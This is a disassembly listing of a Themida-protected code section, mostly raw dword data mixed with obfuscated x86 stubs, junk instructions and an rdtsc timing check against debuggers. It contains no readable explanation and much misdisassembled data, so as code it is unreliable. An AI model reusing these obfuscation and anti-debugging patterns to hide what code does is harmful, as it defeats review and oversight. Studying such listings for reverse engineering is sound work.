dd 104B1BC9h, 0BA5FF93Dh, 6, 0E03EBF66h, 6AC38Bh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 1695ADC3h, 0C91F592Dh, 0E8C15FACh, 0E2F76604h, 5F5F5352h
dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 0BC8188C3h, 3176A44Dh, 8B151B83h, 0E431B1B5h
dd 6810F07h, 8B000000h, 0E42035B5h, 6A5807h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 0D82BFBC3h
dd 119880Fh, 8B660000h, 7B9F0h, 0B70F0000h, 318D09F1h
dd 8307E41Bh, 6A00C1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 0AFA78C3h, 700DD781h, 3BFC1BA3h
dd 0D8860FD9h, 0BE000000h, 0EBA21BEh, 6AD98C66h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 0F48EC356h, 49FA819Eh, 9589FA8Bh, 7E418A9h, 0F04C1F6h
dd 7D84h, 698D2900h, 0FF07E40Eh, 0E42D9195h, 0B5096007h
dd 7E41CF1h, 1C619D8Bh, 5B6107E4h, 6AC32Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0DC5D86C3h
dd 2A1A4A9Ch, 3D4E3E44h, 834h, 30860Fh, 8E0F0000h, 4, 5E5F5656h
dd 42E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 0BF58317Dh, 0C08B96F0h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0BBC35545h, 8B1577A7h
dd 6AD88BC3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0C548C356h, 44331D16h, 6AD78166h
dd 8585C781h, 1D07E423h, 6A5C233Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D3A4C352h
dd 6573C5BFh, 7E90Ah, 636A0000h, 3BACB7Eh, 89C08B65h, 0E426F18Dh
dd 0E18D8907h, 8107E419h, 0E42AD5BDh, 7D007h, 2B850F00h
dd 53000000h, 0FF5FF88Bh, 0E42AD585h, 52006A07h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0C090EF3Ah, 0B5FF84ACh, 7E42AD5h, 15158589h, 95FF07E4h
dd 7E40E41h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 62C35747h, 8B6631C2h, 78B890FAh, 1123456h, 0E42BF9BDh
dd 779D8D07h, 0E907E816h, 0FFFFF90Ch, 25DDB58Bh, 0C18B07E4h
dd 20B59589h, 4EB07E4h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5C3B37
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3B37 proc near ; CODE XREF: Themida_:005C3B2Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5C3B37 endp
; ---------------------------------------------------------------------------
db 0ECh
dd 55745CFFh, 0CAF145EFh, 589BBE66h, 49BD8B50h, 5E07E41Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E3C35545h
dd 6E963h, 8C360000h, 0BB70BC2Eh, 858DF98Bh, 7E40D85h
dd 14810Fh, 0CE80000h, 0
dd 0EA00D883h, 6C6C81D8h, 6073FFA9h, 0E9505E61h, 0Dh, 0DBB79594h
dd 11454F67h, 59CAAF63h, 2404897Eh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 55C35141h, 858936BEh, 6850F32h
dd 8B000000h, 0E4258DB5h, 66006A07h, 6AFA8Bh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 23C35040h, 83D1E884h
dd 662CCE7Bh, 858DFE8Bh, 7E81876h, 9E8h, 0CA58B600h, 727EF89Ch
dd 8B608BB4h, 0E419C595h, 835F6107h, 0BE905C0h, 0EB000000h
dd 947905FFh, 1FB37044h, 0F5013E3h, 1389h, 0DE800h, 669C0000h
dd 0E409C1E7h, 37C44795h, 5E901C23h, 66240489h, 0BED7E781h
dd 0FE9006Ah, 0A6000000h, 8C24F49Ch, 4EB7E234h, 35C66141h
dd 890F221Ch, 0Ch, 68E0Fh, 8D290000h, 7E42CF9h, 0BD8B006Ah
dd 7E40F3Dh, 247195FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0B129F9C3h, 6D69C59Dh
dd 8D46807Bh, 0E7D64B9Dh, 0E1B58B07h, 0FF07E406h, 0B985FFD3h
dd 6A07E420h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 0E6C5C356h, 6F71B2ACh, 2BF366F0h
dd 0E400A5B5h, 0D26E907h, 0E80000h, 5D000000h, 1880ED81h
dd 6A07E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 47D850C3h, 0DFBF8D11h, 850F45h, 81000000h
dd 0E42AD5BDh, 7D007h, 3C860F00h, 6A000001h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0E9ABC351h, 25A4AA95h, 0D183C78Ch, 0DE9h, 0C579B400h
dd 0AAC8134Dh, 0C2E5CF9h, 9D8B0574h, 7E43591h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F0C35040h, 0BEDCB5FCh
dd 1746012Ch, 5E9h, 0E61B900h, 0E3817DECh, 100h, 9E8h
dd 0D375DC00h, 0B526433Eh, 11E886CEh, 51000000h, 9E16A4EDh
dd 37DEEDB3h, 4076958Dh, 0C2A1AA40h, 3239BD8Bh, 5F5E07E4h
dd 850FDB0Bh, 6Fh, 1ED5B589h, 0BD8307E4h, 7E8169Dh, 2F840F00h
dd 8B000000h, 81B523F7h, 0E907E423h, 59h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0DCC35545h, 0ADDBD8Bh
dd 85C707E4h, 7E8169Dh, 1, 28E9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0C71EF8BCh
dd 0E8169D85h, 7, 919D8D00h, 8107E435h, 0CFDD37DEh, 0D1B5895Dh
dd 8107E41Bh, 0FFFEFF23h, 0E9BD8BFFh, 6607E431h, 0C681DB8Ch
dd 611C7CD3h, 0F04C3F6h, 0BB84h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 8BBE553Dh
dd 0E400DDB5h, 29B52307h, 0FF07E421h, 0E42D9195h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 8163065Dh, 0F8D645DEh, 9A38BF06h, 50506026h, 0EE852h
dd 0F1020000h, 8398B409h, 9D807870h, 0C4C9E7DEh, 0CE9h
dd 757DF500h, 0F925FBEAh, 8B7871A5h, 310F5F07h, 0AE9h
dd 26678C00h, 27D266A1h, 5A8F7DB7h, 24048958h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E7C35141h, 7C4E186Bh
dd 8EEDA308h, 3F6E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 0A810F0E9h, 0A5EA3775h
dd 0E78166A4h, 0B02203h, 0F61BD29h, 70E607E4h, 27858D89h
dd 816607E4h, 0E42846CEh, 53006A71h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0F148EBBh
dd 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 10BDAFC3h, 2ED978BFh, 0AE8h, 0ED81BB00h
dd 8B8A5E14h, 5672FB69h, 7B59589h, 5E5E07E4h, 29BDBD8Bh
dd 9D8907E4h, 7E40881h, 6BAh, 0E1816000h, 2E3F554Ah, 17C59D89h
dd 8B6107E4h, 0BDB58BC3h, 0C107E426h, 6A04E8h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 0BD8BB6C3h, 7E4091Dh, 6AE2F766h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 39B5C351h
dd 81664B43h, 0F2263E7h, 0D82BF8BFh, 5F5293F5h, 6A9350h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0AA3D23C3h, 29DD9509h, 0B5FF07E4h, 7E42AD5h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ABC35747h, 95FFF98Bh
dd 7E40E41h, 31AB58BEh, 6A00B049h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 6220C356h
dd 315B895Ch, 0E402B5B5h, 8B70E607h, 0E425CDBDh, 6A71E407h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 3F21C351h, 0F613CFCh, 23283h, 0CE96000h
dd 5E000000h, 297DACBh, 0E87CAEDFh, 8B2F2599h, 0E424C59Dh
dd 0B60F6107h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0BD8BC29Fh, 7E41495h
dd 6BAh, 0A0D68100h, 8B4F7A6Ch, 51006AC3h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0C3B56DABh
dd 0DF9CBF54h, 0F504E8C1h, 0EFD9D09h, 0F76607E4h, 51006AE2h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 8157A49Ah, 0C98F1CEh, 0D82B5E6Ch, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 0C2C35141h, 469A69D8h, 0BD2B58C9h
dd 7E41529h, 880FD82Bh, 15Fh, 1AF78166h, 7B9DEh, 0C1830000h
dd 5E900h, 264A0000h, 3BB0BCEEh, 40860FD9h, 89000001h
dd 0E40E3DB5h, 0D98C6607h, 0C1F6F88Bh, 0F4840F04h, 0F5000000h
dd 0BE9h, 0AD41E200h, 2F06917Ch, 9522C066h, 2D9195FFh
dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 379BCFC3h, 604D3B40h, 9E9h, 0B1CD6000h, 4C76C9F9h
dd 81669547h, 612238D3h, 51006A5Bh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 0A1B589FFh, 2B07E421h
dd 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 4615F4DBh, 0E9376C72h, 0Bh, 0A2663103h
dd 6646C19Ah, 3D277779h, 834h, 45860Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0E96C8BC3h, 5Bh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 91C35040h, 19CF8D21h, 8BC23E70h, 56006AC0h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 0F052C30h, 0C8Eh, 6840F00h, 8B000000h, 0E40B35B5h, 0A58D8907h
dd 8B07E409h, 0FD88BC3h, 8F0FFBBFh, 6, 291BD8Bh, 85C707E4h
dd 7E40B69h, 341EF1FBh, 0C08BFE8Bh, 0DE8h, 78D56C00h, 0BFC2182Fh
dd 2293513Ah, 0BD8BF776h, 7E41E85h, 0D5BD815Eh, 0D007E42Ah
dd 0F000007h, 3985h
dd 8A0F6000h, 6, 820Fh, 0A7BF0000h, 61136039h, 2AD585FFh
dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 0E556C4C3h, 0B5FF7FA0h, 7E42AD5h, 0B2E78166h
dd 4195FF85h, 6A07E40Eh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 6027C352h, 1429B523h
dd 409007E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 0C9C35747h, 0F82430F0h, 0BD83F5B6h, 7E424DDh, 83840F00h
dd 0F000000h, 0BD83F9BFh, 7E4038Dh, 73840F00h, 8B000000h
dd 0DD95FFF1h, 6A07E424h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 4E2C352h, 0F098589h
dd 0C00B07E4h, 40840Fh, 0FCF50000h, 4FE78D8Dh, 958907E4h
dd 7E40FA9h, 5B8h, 9D895600h, 7E41E41h, 6AE1FF5Fh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 369FC356h, 323DFB22h, 0BD83036Ah, 7E42C35h, 5C840F00h
dd 60000005h, 80CEE880h, 836100C9h, 0E4038DBDh, 840F0007h
dd 547h, 2405B589h, 8D8D07E4h, 7E429E5h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 43C35747h, 0DA88F490h
dd 1C5D46B6h, 79BD8Bh, 1C707E4h, 44B27C84h, 0AAF68166h
dd 0CB018189h, 0F1499CFh, 0E81h, 8D016000h, 7E40235h, 21718D8Bh
dd 0C76107E4h, 6B340441h, 81FCCE70h, 0D7100441h, 7E831D6h
dd 0F1000000h, 30AE4B59h, 6A5F81D2h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0CB1988C9h
dd 19787F3Fh, 858DBB1Bh, 7E429E5h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 7AC35646h, 0A8839088h, 90BD750Eh
dd 5841BE66h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0CB4E61C3h, 97B771EAh, 3595FF99h
dd 6607E42Ch, 8627EF81h, 29E58D8Dh, 6A07E4h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 2D31D8C3h
dd 5E8h, 74CB600h, 0B58B9F0Ch, 7E41275h, 43BF665Fh, 1C725h
dd 0E9000000h, 12h, 0D11143DFh, 5078206Ah, 702604CBh, 6961DAE5h
dd 41C75E61h, 4, 0FDB58B00h, 6607E40Dh, 9850D781h, 840FC00Bh
dd 71h, 89FB8B66h, 0E42211B5h, 0E78D8D07h, 6A07E44Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 5CC2C351h, 1FC5B58Bh, 5B807E4h, 0E9000000h, 0Bh, 0C4FE940Bh
dd 2BE909FCh, 0FFE00EADh, 51006AE1h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 6D19C2BAh
dd 8BE6FCEBh, 0E42755BDh, 0E58D8D07h, 6A07E429h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 6647C356h, 2949ADBFh, 0E4227D9Dh, 7C01C707h, 8B44AA72h
dd 0E41F3DBDh, 0CB018107h, 6A1499CFh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0A38CC352h
dd 41C7B111h, 78753C04h, 50006ACEh, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 0ACA70A2Bh, 0E2DF267Dh
dd 29B58900h, 8107E423h, 0D7100441h, 6E831D6h, 6D000000h
dd 0B80C1223h, 0B8BF66F7h, 6A5F90h, 7A5B58Bh, 858D07E4h
dd 7E429E5h, 0B58B6060h, 7E4272Dh, 1098589h, 8B6107E4h
dd 0E4185D85h, 89506107h, 0B70F2404h, 3595FFF2h, 8907E42Ch
dd 0E403A9BDh, 0E58D8D07h, 0F07E429h, 8Ah, 1C700h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 3011C356h, 23B1979Fh, 441C7F6h, 0
; ---------------------------------------------------------------------------
pusha
or [ebp+7E4002Dh], ebx
mov [ebp+7E423C1h], eax
popa
or eax, eax
jz loc_5C4828
mov [ebp+7E40F85h], edx
lea ecx, [ebp+7E44FE7h]
push 0
push edx
call sub_5C47FD
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C47FD proc near ; CODE XREF: Themida_:005C47F5p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5C47FD endp
; ---------------------------------------------------------------------------
sub edi, edx
sti
mov eax, 5
mov edi, [ebp+7E40A09h]
jmp ecx
; ---------------------------------------------------------------------------
mov di, cx
push edx
mov [ebp+7E42C65h], edi
pop esi
loc_5C4828: ; CODE XREF: Themida_:005C47E0j
lea ecx, [ebp+7E429E5h]
mov dword ptr [ecx], 54CA95A5h
push 0
push ebx
call sub_5C483F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C483F proc near ; CODE XREF: Themida_:005C4837p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5C483F endp
; ---------------------------------------------------------------------------
db 0C1h
dd 0ABEB52B8h, 0BA4C5BA5h, 7E9h, 86A21A00h, 0DD4E9BA8h
dd 0CFCB0181h, 0EEBE1499h, 0E91C9077h, 9, 4857DF41h, 69D2E82Fh
dd 441C77Ch, 0CE5F5969h, 0BDBB73BFh, 4418157h, 31D6D710h
dd 183DB58Bh, 6A07E4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 0D6C35545h, 121B58Bh, 858D07E4h, 7E429E5h
dd 0A558589h, 0F5007E4h, 487h, 3BF6600h, 240489D9h, 0FFF18B66h
dd 0E42C3595h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 0A0A2A439h, 473FA352h
dd 0F08B666Eh, 29E58D8Dh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 0B58BE0C3h, 7E40E4Dh
dd 1C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 8BA6D8C3h, 0E41CA5BDh, 441C707h
dd 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5C4967
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4967 proc near ; CODE XREF: Themida_:005C495Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5C4967 endp
; ---------------------------------------------------------------------------
db 0A8h
dd 0E1DF7B52h, 0B748646h, 9C840FC0h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 4377C353h, 0EE9EB29h, 0EF000000h, 0C29228A9h, 85EC3681h
dd 198A1479h, 0B70F5225h, 8D8D5EFFh, 7E44FE7h, 0B8FE8B66h
dd 5, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
dd 70C35141h, 0FFF9B70Fh, 50006AE1h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 2CC5DECBh
dd 0E943BDC8h, 9, 250B5D6Fh, 0C4912AC9h, 8DB58BC9h, 307E412h
dd 0F2DCE9CAh, 0FA8BFFFFh, 4EBC18Bh, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5C4A3F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4A3F proc near ; CODE XREF: Themida_:005C4A37p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5C4A3F endp
; ---------------------------------------------------------------------------
or [esi-5Dh], ecx
sbb ecx, [ebx-1BEA9E43h]
pop es
lea eax, [ebp+7E40D85h]
jmp loc_5C4A78
; ---------------------------------------------------------------------------
dd 0E78DC94Eh, 0D024888Eh, 2C792D36h, 9C6B8B1Ch, 4477D0CBh
; ---------------------------------------------------------------------------
loc_5C4A78: ; CODE XREF: Themida_:005C4A5Fj
nop
jle loc_5C4A98
push eax
push edx
mov di, 9F1h
rdtsc
jmp loc_5C4A96
; ---------------------------------------------------------------------------
dd 6CE2D339h, 0DCE2A3C7h
; ---------------------------------------------------------------------------
cmp ebp, ecx
loc_5C4A96: ; CODE XREF: Themida_:005C4A87j
pop edx
pop eax
loc_5C4A98: ; CODE XREF: Themida_:005C4A79j
push eax
mov si, 7F74h
nop
mov edi, [ebp+7E42FEDh]
push 0
push 0
push ecx
call sub_5C4AB1
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4AB1 proc near ; CODE XREF: Themida_:005C4AA9p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5C4AB1 endp
; ---------------------------------------------------------------------------
db 0A4h, 63h, 90h
; ---------------------------------------------------------------------------
xor edi, [ebp+7E41851h]
push 0
mov [ebp+7E4241Dh], eax
lea eax, [ebp+7E82725h]
push 0
push eax
call sub_5C4AE3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4AE3 proc near ; CODE XREF: Themida_:005C4ADBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5C4AE3 endp
; ---------------------------------------------------------------------------
db 5Fh
dd 0C6D59A9Eh, 0D2DBD33h, 0B58B07E4h, 7E41879h, 6605C083h
dd 65C9CE81h, 50FA8B90h, 8F0F5060h, 0
; ---------------------------------------------------------------------------
pop edx
pusha
jmp loc_5C4B33
; ---------------------------------------------------------------------------
db 0B4h
dd 3D2B9936h, 7AB626E2h, 0B10326E9h, 0ABB93A57h
; ---------------------------------------------------------------------------
and esi, [eax-28h]
loc_5C4B33: ; CODE XREF: Themida_:005C4B1Aj
push esi
pop edi
popa
popa
nop
push 0
push ebx
call sub_5C4B43
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4B43 proc near ; CODE XREF: Themida_:005C4B3Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5C4B43 endp
; ---------------------------------------------------------------------------
pushf
pushf
or ah, [edx+6Eh]
push edx
mov cl, 10h
mov ds:0BD8B006Ah, eax
shl dword ptr [ebx], 0E4h
pop es
push 0
mov esi, [ebp+7E42A71h]
call dword ptr [ebp+7E42471h]
or [ebp+7E42569h], ecx
lea ebx, [ebp+7E7D64Bh]
push 0
push eax
call sub_5C4B89
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4B89 proc near ; CODE XREF: Themida_:005C4B81p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5C4B89 endp
; ---------------------------------------------------------------------------
xchg eax, ecx
push esp
test edi, edi
ror dword ptr [ebx], cl
mov ebp, 7E42231h
inc dword ptr [ebp+7E420B9h]
xor [ebp+7E4089Dh], eax
jmp loc_5C53CC
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 7E8272Fh
sub si, 509Ch
or [ebp+7E40185h], edx
cmp dword ptr [ebp+7E42AD5h], 7D0h
jbe loc_5C4D4C
push 0
push ebx
call sub_5C4BE7
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4BE7 proc near ; CODE XREF: Themida_:005C4BDFp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5C4BE7 endp
; ---------------------------------------------------------------------------
db 0F4h
dd 0F5019556h, 73566A37h, 9659D8Bh, 6A07E4h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0D170F2C3h
dd 0FFBD8C3Bh, 12E927h, 8CEB0000h, 0D5D7F44Dh, 0F66191B1h
dd 0BCFC297Ah, 0FC4CC5BEh, 29E1B589h, 9D8907E4h, 7E40291h
dd 100E381h, 0B5090000h, 7E431B1h, 850FDB0Bh, 0A1h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 16C35747h, 8AD06816h
dd 0B70F5E6Dh, 0A5BD83FAh, 7E825h, 0B840Fh, 8B660000h
dd 7AE9F2h, 0B70F0000h, 0A585C7F2h, 107E825h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 2B3EC353h, 8E0F3578h, 8, 870F53h, 5E000000h
dd 3BE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0DB5A241Ah, 893F5CB8h, 0E42BE59Dh
dd 0A585C707h, 7E825h, 66000000h, 8589F38Bh, 7E41E91h
dd 9659D8Dh, 850F07E4h, 1, 0FF2381FCh, 6AFFFFFEh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 1AE6C352h, 9589305Eh, 7E40389h
; ---------------------------------------------------------------------------
loc_5C4D4C: ; CODE XREF: Themida_:005C4BD6j
mov bx, ds
push 0
push ebp
call sub_5C4D5A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4D5A proc near ; CODE XREF: Themida_:005C4D52p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5C4D5A endp
; ---------------------------------------------------------------------------
sbb byte ptr [edi-2Fh], 0A0h
stosd
cmp dl, bl
mov [ebp+7E4192Dh], edx
test bl, 4
jz loc_5C4DD3
push 0
push ebx
call sub_5C4D8C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4D8C proc near ; CODE XREF: Themida_:005C4D84p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5C4D8C endp
; ---------------------------------------------------------------------------
inc esi
mov di, 0E7B9h
call dword ptr [ebp+7E42D91h]
push 0
push edx
call sub_5C4DB2
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4DB2 proc near ; CODE XREF: Themida_:005C4DAAp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5C4DB2 endp
; ---------------------------------------------------------------------------
mov bh, 0A2h
adc dword ptr [esi], 5E575071h
mov [esp], eax
sub esi, [ebp+7E42375h]
loc_5C4DD3: ; CODE XREF: Themida_:005C4D7Bj
jmp loc_5C517A
; ---------------------------------------------------------------------------
dd 0B0F38B66h, 8B70E600h, 0E41DDDBDh, 8171E407h, 0ED0CF6CFh
dd 1DB58B1Fh, 0F07E424h, 0B589D8B6h, 7E42DADh, 6BAh, 0F3B70F00h
dd 0F58D8957h, 5F07E41Dh, 0E8C1C38Bh, 10E904h, 9A0000h
dd 0FF921F1Ch, 1C3AE0E2h, 16477719h, 0F76667AFh, 55006AE2h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 2DCD24E3h, 0BFF98B7Eh, 3D55C83Eh, 6AD82Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 4D45C3C3h
dd 0A0D01E93h, 0FE8h, 0A5E07300h, 0C5B557A2h, 7E21B031h
dd 6240C8F9h, 54D6BF66h, 0F50935Eh, 481h, 9CBF6600h, 0F505FB6h
dd 885h, 0F525000h, 5AF98B31h, 6A9358h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 2181A7C3h
dd 0AD6F641Dh, 8B66DFCAh, 0E42B45B5h, 0F9B50107h, 0FF07E41Fh
dd 0E42AD5B5h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 3A4243BAh, 0FCD598C6h
dd 2C77EF81h, 95FF38CAh, 7E40E41h, 0B0F1BF0Fh, 71BD8B00h
dd 0E607E431h, 1CBF6670h, 6071E492h, 0DE947B3h, 6D000000h
dd 15D8DE14h, 31321AC2h, 0F2A4C987h, 0F613C61h, 23983h
dd 14E900h, 9FB00000h, 0C2166017h, 0D7C7A05Dh, 0D7F2CA0Eh
dd 92105A13h, 8166795Ah, 0F52F1CFh, 6AD8B6h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B0F7DC3h
dd 0E42A69BDh, 6BA07h, 0C38B0000h, 1285BD8Bh, 0E8C107E4h
dd 79B58B04h, 6607E40Fh, 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0A223BDC3h, 0FE95035h
dd 54000000h, 87F8CB84h, 0EBD625D6h, 274FF94Fh, 0BD0BA66Ah
dd 7E42A95h, 0BE66D82Bh, 0E958E8E5h, 0Dh, 0EE6B2DA8h, 0A87FEFAFh
dd 1CDE30EAh, 0FBBF0F9Dh, 880FD82Bh, 17Eh, 7B9h, 7AC68100h
dd 8322406Eh, 6A00C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 9B0D4CC3h, 3BFB8B66h, 47860FD9h
